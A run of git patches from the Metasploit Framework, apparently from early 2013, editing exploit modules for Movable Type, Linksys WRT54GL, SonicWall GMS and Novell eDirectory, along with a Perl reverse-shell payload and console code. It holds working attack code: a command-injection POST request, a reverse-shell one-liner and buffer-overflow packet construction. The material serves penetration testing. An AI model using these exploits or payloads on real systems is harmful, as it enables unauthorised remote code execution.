b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 40764c27b9..6b46f40b8f 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -7,23 +7,6 @@ require 'msf/core' -### -# -# The vulnerability arises due to the following properties: -# -# 1: This script may be invoked remotely without requiring authentication to any MT -# instance. -# -# 2: Through a crafted POST request, it is possible to invoke particular -# database migration functions (i.e functions that bring the existing database -# up-to-date with an updated codebase) by name and with particular parameters. -# -# 3: A particular migration function, core_drop_meta_for_table, allows a class -# parameter to be set which is used directly in a perl eval statement, allowing -# perl code injection. -# -### - class Metasploit4 < Msf::Exploit::Remote include Exploit::Remote::HttpClient @@ -32,19 +15,30 @@ class Metasploit4 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution', 'Description' => %q{ - This module can be used to execute a payload on MoveableType (MT) - thatexposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), + This module can be used to execute a payload on MoveableType (MT) that + exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), that is used during installation and updating of the platform. + The vulnerability arises due to the following properties: + 1. This script may be invoked remotely without requiring authentication + to any MT instance. + 2. Through a crafted POST request, it is possible to invoke particular + database migration functions (i.e functions that bring the existing + database up-to-date with an updated codebase) by name and with + particular parameters. + 3. A particular migration function, core_drop_meta_for_table, allows + a class parameter to be set which is used directly in a perl eval + statement, allowing perl code injection. }, 'Author' => [ 'Kacper Nowak', - 'Nick Blundell', - "Gary O'Leary-Steele", + 'Nick Blundell', + "Gary O'Leary-Steele" ], 'References' => [ - ['CVE', '2012-6315'], + #['CVE', '2012-6315'], superseded by CVE-2013-0209 (duplicate) + ['CVE', '2013-0209'], ['URL', 'http://www.sec-1.com/blog/?p=402'], ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] ], From 5d6ca30422d6c0e33af89075382428433968c3a7 Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Wed, 23 Jan 2013 10:33:55 +0000 Subject: [PATCH 26/87] removed spaces at EOL --- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 6b46f40b8f..fb7dc3010c 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -32,7 +32,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Author' => [ 'Kacper Nowak', - 'Nick Blundell', + 'Nick Blundell', "Gary O'Leary-Steele" ], 'References' => From 3a5e92ba6ff92e1e47cdc084912b7aa12f6e0b10 Mon Sep 17 00:00:00 2001 From: m-1-k-3 <michael.messner@integralis.com> Date: Wed, 23 Jan 2013 12:15:34 +0100 Subject: [PATCH 27/87] hopefully all fixex included --- .../admin/http/linksys_wrt54gl_exec.rb | 113 +++++++++++++----- 1 file changed, 80 insertions(+), 33 deletions(-) diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 85d8c93afa..8f270248e4 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Linksys WRT54GL Remote Command Execution', 'Description' => %q{ Some Linksys Routers are vulnerable to OS Command injection. - You will need credentials to the webinterface to access the vulnerable part + You will need credentials to the web interface to access the vulnerable part of the application. Default credentials are always a good starting point. admin/admin or admin and blank password could be a first try. @@ -34,8 +34,10 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], + [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'EDB', '24202' ], [ 'BID', '57459' ], + [ 'OSVDB', '89421' ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 18 2013')) @@ -43,12 +45,12 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('VULNPATH',[ true, 'PATH to OS Command Injection', '/apply.cgi']), - OptString.new('USER',[ true, 'User to login with', 'admin']), - OptString.new('PASS',[ true, 'Password to login with', 'password']), + OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), - OptString.new('LANIP', [ false, 'LAN IP address of the router', '<RHOST>']), + OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), @@ -56,46 +58,41 @@ class Metasploit3 < Msf::Auxiliary end def run - #setting up the needed variables - uri = datastore['VULNPATH'] - user = datastore['USER'] + #setting up some basic variables + uri = datastore['TARGETURI'] + user = datastore['USERNAME'] rhost = datastore['RHOST'] netmask = datastore['NETMASK'] routername = datastore['ROUTER_NAME'] wandomain = datastore['WAN_DOMAIN'] wanmtu = datastore['WAN_MTU'] - # using the RHOST for the correct lan IP settings - # WARNING: Attacks via the WAN IP are breaking the LAN configuration of the device! - if datastore['LANIP'] !~ /<RHOST>/ + if datastore['LANIP'] !~ /1.1.1.1/ + #there is a configuration from the user so we use LANIP for the router configuration ip = datastore['LANIP'].split('.') else + #no configuration from user so we use RHOST for the router configuration ip = rhost.split('.') end # not sure if this is a good way for blank passwords: - if datastore['PASS'] == "<BLANK>" + if datastore['PASSWORD'] == "<BLANK>" pass = "" else - pass = datastore['PASS'] + pass = datastore['PASSWORD'] end print_status("Trying to login with #{user} / #{pass}") - user_pass = Rex::Text.encode_base64(user + ":" + pass) - begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } - }, 25) + 'basic_auth' => "#{user}:#{pass}" + }) unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") + vprint_error("#{rhost} not responding") end return :abort if (res.code == 404) @@ -108,16 +105,17 @@ class Metasploit3 < Msf::Auxiliary end rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") + vprint_error("#{rhost} - Failed to connect to the web server") return :abort end print_status("Sending remote command: " + datastore['CMD']) - cmd = Rex::Text.uri_encode(datastore['CMD']) - #cmd = datastore['CMD'] + # cmd = Rex::Text.uri_encode(datastore['CMD']) + cmd = datastore['CMD'] - data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" + #original Post Request: +# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" if datastore['VERBOSE'] == true print_line("using the following target URL: \n#{uri}") @@ -128,17 +126,66 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => uri, 'method' => 'POST', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - }, - 'data' => data_cmd, - }, 20) + 'basic_auth' => "#{pass}:#{pass}", + #'data' => data_cmd, + + 'vars_post' => + { + 'submit_button' => "index", + 'change_action' => "1", + 'submit_type' => "1", + 'action' => "Apply", + 'now_proto' => "dhcp", + 'daylight_time' => "1", + 'lan_ipaddr' => "4", + 'wait_time' => "0", + 'need_reboot' => "0", + 'ui_language' => "de", + 'wan_proto' => "dhcp", + 'router_name' => "#{routername}", + 'wan_hostname' => "`#{cmd}`", + 'wan_domain' => "#{wandomain}", + 'mtu_enable' => "1", + 'wan_mtu' => "#{wanmtu}", + 'lan_ipaddr_0' => "#{ip[0]}", + 'lan_ipaddr_1' => "#{ip[1]}", + 'lan_ipaddr_2' => "#{ip[2]}", + 'lan_ipaddr_3' => "#{ip[3]}", + 'lan_netmask' => "#{netmask}", + 'lan_proto' => "dhcp", + 'dhcp_check' => "1", + 'dhcp_start' => "100", + 'dhcp_num' => "50", + 'dhcp_lease' => "0", + 'wan_dns' => "4", + 'wan_dns0_0' => "0", + 'wan_dns0_1' => "0", + 'wan_dns0_2' => "0", + 'wan_dns0_3' => "0", + 'wan_dns1_0' => "0", + 'wan_dns1_1' => "0", + 'wan_dns1_2' => "0", + 'wan_dns1_3' => "0", + 'wan_dns2_0' => "0", + 'wan_dns2_1' => "0", + 'wan_dns2_2' => "0", + 'wan_dns2_3' => "0", + 'wan_wins' => "4", + 'wan_wins_0' => "0", + 'wan_wins_1' => "0", + 'wan_wins_2' => "0", + 'wan_wins_3' => "0", + 'time_zone' => "-08+1+1", + '_daylight_time' => '1' + }, + }) rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") + vprint_error("#{rhost} - Failed to connect to the web server") return :abort end - print_status("Blind Exploitation - wait 5 seconds until the configuration gets applied\n") + print_line("") + print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") print_status("Blind Exploitation - unknown Exploitation state\n") end end + From f691652594e3ca9e6c035303755ace4f254d2aeb Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Wed, 23 Jan 2013 11:21:44 +0000 Subject: [PATCH 28/87] attempt to fix cmd/windows/reverse_perl payload --- modules/payloads/singles/cmd/windows/reverse_perl.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index 37bb01b97d..837e089ef6 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -48,7 +48,7 @@ module Metasploit3 lhost = datastore['LHOST'] ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" + cmd = %{perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\\"#{lhost}:#{datastore['LPORT']}\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"} end end From d2b75ad0058a093368a2566a561e83b82859135b Mon Sep 17 00:00:00 2001 From: booboule <booboule@gmail.com> Date: Wed, 23 Jan 2013 12:42:33 +0100 Subject: [PATCH 29/87] Update external/source/exploits/cve-2012-5088/Makefile --- external/source/exploits/cve-2012-5088/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/external/source/exploits/cve-2012-5088/Makefile b/external/source/exploits/cve-2012-5088/Makefile index abc39b7a2c..226cdcd65c 100755 --- a/external/source/exploits/cve-2012-5088/Makefile +++ b/external/source/exploits/cve-2012-5088/Makefile @@ -9,8 +9,8 @@ CLASSES = \ all: $(CLASSES:.java=.class) install: - mv Exploit.class ../../../../data/exploits/cve-2013-0422/ - mv B.class ../../../../data/exploits/cve-2013-0422/ + mv Exploit.class ../../../../data/exploits/cve-2012-5088/ + mv B.class ../../../../data/exploits/cve-2012-5088/ clean: rm -rf *.class From e78174297eb116c1d59f2492d9361f059a9e99a8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 23 Jan 2013 12:44:55 +0100 Subject: [PATCH 30/87] assuring stdapi loads on meterpreter --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 5e710b117d..f786338546 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -69,6 +69,12 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + + def on_new_session + + end + + def generate_jsp var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) From a3fa7cc6bc4dcb86340ef0388dc0c535b9030a4a Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Wed, 23 Jan 2013 12:49:08 +0000 Subject: [PATCH 31/87] adjusted disclosure date --- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index fb7dc3010c..1802c450bb 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Remote ['Movable Type 4.2x, 4.3x', {}] ], 'Privileged' => false, - 'DisclosureDate' => "Jan 08 2013", + 'DisclosureDate' => "Jan 07 2013", 'DefaultTarget' => 0)) register_options( From 1477cda3d45e17ebdce53522701019c742646ff1 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 23 Jan 2013 10:00:24 -0600 Subject: [PATCH 32/87] fix set_rhosts behavior/bugs. msf exploit(rails_xml_yaml_code_exec) > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 10.0.0.105 00:0C:29:59:65:08 VMWIN2000SP4 Microsoft Windows client msf exploit(rails_xml_yaml_code_exec) > hosts -R Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 10.0.0.105 00:0C:29:59:65:08 VMWIN2000SP4 Microsoft Windows client RHOSTS => 10.0.0.105 msf exploit(rails_xml_yaml_code_exec) > exit --- lib/msf/ui/console/command_dispatcher/db.rb | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 8537227213..60fe17e592 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -205,6 +205,7 @@ class Db mode = :search delete_count = 0 + rhosts = [] host_ranges = [] search_term = nil @@ -241,7 +242,6 @@ class Db output = args.shift when '-R','--rhosts' set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi @@ -280,12 +280,6 @@ class Db range.each do |address| host = framework.db.find_or_create_host(:host => address) print_status("Time: #{host.created_at} Host: host=#{host.address}") - if set_rhosts - # only unique addresses - addr = (host.scope ? host.address + '%' + host.scope : host.address ) - rhosts << addr - end - rhosts.uniq! end end return @@ -326,7 +320,6 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end - rhosts.uniq! if mode == :delete host.destroy delete_count += 1 @@ -346,7 +339,7 @@ class Db # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} hosts") if delete_count > 0 } ## @@ -1483,7 +1476,7 @@ class Db print_error("The database is not connected") return end - + print_status("Purging and rebuilding the module cache in the background...") framework.threads.spawn("ModuleCacheRebuild", true) do framework.db.purge_all_module_details @@ -1714,4 +1707,3 @@ end end end end - From b4f5c3b6eda732b89cf7b7392d5e8cab5b743d13 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 23 Jan 2013 10:10:02 -0600 Subject: [PATCH 33/87] Fix up set_rhosts for all db commands --- lib/msf/ui/console/command_dispatcher/db.rb | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 60fe17e592..b16fe1007b 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -363,10 +363,11 @@ class Db default_columns = ::Mdm::Service.column_names.sort default_columns.delete_if {|v| (v[-2,2] == "id")} - host_ranges = [] - port_ranges = [] + host_ranges = [] + port_ranges = [] + rhosts = [] delete_count = 0 - search_term = nil + search_term = nil # option parsing while (arg = args.shift) @@ -417,7 +418,6 @@ class Db output_file = ::File.expand_path(output_file) when '-R','--rhosts' set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi @@ -507,7 +507,6 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end - rhosts.uniq! if (mode == :delete) service.destroy @@ -527,7 +526,7 @@ class Db # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} services") if delete_count > 0 } @@ -678,6 +677,7 @@ class Db host_ranges = [] port_ranges = [] + rhosts = [] svcs = [] search_term = nil @@ -731,7 +731,6 @@ class Db end when "-R" set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi when "-u","--user" @@ -828,7 +827,6 @@ class Db addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address ) rhosts << addr end - rhosts.uniq! creds_returned += 1 end @@ -841,7 +839,7 @@ class Db print_status("Wrote services to #{output_file}") end - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status "Found #{creds_returned} credential#{creds_returned == 1 ? "" : "s"}." } end @@ -872,6 +870,7 @@ class Db set_rhosts = false host_ranges = [] + rhosts = [] search_term = nil while (arg = args.shift) @@ -895,7 +894,6 @@ class Db types = typelist.strip().split(",") when '-R','--rhosts' set_rhosts = true - rhosts = [] when '-S', '--search' search_term = /#{args.shift}/nmi when '-h','--help' @@ -955,7 +953,6 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end - rhosts.uniq! end if (note.service) name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") @@ -971,7 +968,7 @@ class Db # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. - set_rhosts_from_addrs(rhosts) if set_rhosts + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} note#{delete_count == 1 ? "" : "s"}") if delete_count > 0 } From 8bcf4a86ef5377358b0a1b14f0c259bb546d1082 Mon Sep 17 00:00:00 2001 From: booboule <booboule@gmail.com> Date: Wed, 23 Jan 2013 17:14:53 +0100 Subject: [PATCH 34/87] Update modules/exploits/multi/browser/java_jre17_method_handle.rb Wrong reference type (URL instead of OSVDB) --- modules/exploits/multi/browser/java_jre17_method_handle.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 623bc31c8e..af8f2e1722 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2012-5088' ], - [ 'URL', '86352' ], + [ 'OSVDB', '86352' ], [ 'BID', '56057' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] From ff875d04e04d651efefb16f553ef931a494184a3 Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Wed, 23 Jan 2013 16:50:35 +0000 Subject: [PATCH 35/87] - RPATH changed to TARGETURI - both CVE numbers referenced - sightly changed exception handling --- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 1802c450bb..77543f8d06 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -37,7 +37,7 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ - #['CVE', '2012-6315'], superseded by CVE-2013-0209 (duplicate) + ['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate) ['CVE', '2013-0209'], ['URL', 'http://www.sec-1.com/blog/?p=402'], ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] @@ -65,7 +65,7 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ - OptString.new('RPATH', [true, 'The URI path of the Movable Type installation', '/mt']) + OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt']) ], self.class) end @@ -75,7 +75,7 @@ class Metasploit4 < Msf::Exploit::Remote print_status("#{@peer} - Sending check...") begin res = http_send_raw(fingerprint) - rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout + rescue Rex::ConnectionError return end if (res) @@ -96,7 +96,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_raw(cmd, timeout=20) - path = normalize_uri(datastore['RPATH']) + '/mt-upgrade.cgi' + path = normalize_uri(target_uri.path + '/mt-upgrade.cgi') send_request_cgi( { 'uri' => path, From c47392f5d17628e6bdf6a97c3166abfcfd7227fd Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Wed, 23 Jan 2013 16:57:30 +0000 Subject: [PATCH 36/87] normalize_uri and path fix --- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 77543f8d06..43224ee2d7 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -96,7 +96,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_raw(cmd, timeout=20) - path = normalize_uri(target_uri.path + '/mt-upgrade.cgi') + path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' send_request_cgi( { 'uri' => path, From dd0fdac73c747138fc425ec534fe124c4863afbb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 23 Jan 2013 18:19:14 +0100 Subject: [PATCH 37/87] fix indent --- modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index 12a79339b6..fc01baa7b3 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -112,8 +112,8 @@ class Metasploit3 < Msf::Exploit::Remote pkt << "\x00" # reserved pkt << "\x17" # Login Object FunctionCode (23) pkt << "\x00\xa7" # SubFuncStrucLen - pkt << "\x18" # SubFunctionCode - pkt << "\x90\x90" # object type + pkt << "\x18" # SubFunctionCode + pkt << "\x90\x90" # object type pkt << "\x50" # ClientNameLen pkt << rand_text(7) jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string From ca144b9e8472404393241f621f8e7311911af9bf Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 11:40:12 -0600 Subject: [PATCH 38/87] msftidy fix --- modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index fc01baa7b3..257fdd077f 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote pkt << "\x00\x00\x00\x00" # request_size (filled later) pkt << "\x00\x00\x00\x01" # version (1) pkt << "\x00\x00\x00\x05" # reply buffer size - pkt << "\x22\x22" # cmd + pkt << "\x22\x22" # cmd pkt << "\x01" # sequence number pkt << res[11] # connection number pkt << "\x00" # task number From f50c7ea55172531588e3991716722c48c88d5283 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 11:43:39 -0600 Subject: [PATCH 39/87] A version number helps deciding which exploit to use --- modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index 257fdd077f..36b0020b42 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Novell eDirectory Buffer Overflow', + 'Name' => 'Novell eDirectory 8 Buffer Overflow', 'Description' => %q{ This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The vulnerability exists in the ndsd daemon, specifically in the NCP service, while From afa32c7552f62a2853af75b2485300e16657cf26 Mon Sep 17 00:00:00 2001 From: booboule <booboule@gmail.com> Date: Wed, 23 Jan 2013 20:18:24 +0100 Subject: [PATCH 40/87] Update external/source/exploits/cve-2012-5076_2/Makefile Wrong directory path --- external/source/exploits/cve-2012-5076_2/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/external/source/exploits/cve-2012-5076_2/Makefile b/external/source/exploits/cve-2012-5076_2/Makefile index e93911b8ed..1a84229b80 100755 --- a/external/source/exploits/cve-2012-5076_2/Makefile +++ b/external/source/exploits/cve-2012-5076_2/Makefile @@ -11,8 +11,8 @@ CLASSES = \ all: $(CLASSES:.java=.class) install: - mv Exploit.class ../../../../data/exploits/cve-2013-0422/ - mv B.class ../../../../data/exploits/cve-2013-0422/ + mv Exploit.class ../../../../data/exploits/cve-2012-5076_2/ + mv B.class ../../../../data/exploits/cve-2012-5076_2/ clean: rm -rf *.class From 537e12cf1643d3e875217ad03ef962bdfac6fdc4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <todb@metasploit.com> Date: Wed, 23 Jan 2013 13:59:34 -0600 Subject: [PATCH 41/87] Render the banners nicely --- lib/msf/ui/logos/branded-longhorn.txt | 1 - lib/msf/ui/logos/cowsay.txt | 1 - lib/msf/ui/logos/missile-command.txt | 3 ++- lib/msf/ui/logos/ninja.txt | 3 +-- lib/msf/ui/logos/null-pointer-deref.txt | 1 + 5 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/msf/ui/logos/branded-longhorn.txt b/lib/msf/ui/logos/branded-longhorn.txt index df7e2f745f..2b49662ab4 100644 --- a/lib/msf/ui/logos/branded-longhorn.txt +++ b/lib/msf/ui/logos/branded-longhorn.txt @@ -1,4 +1,3 @@ - , 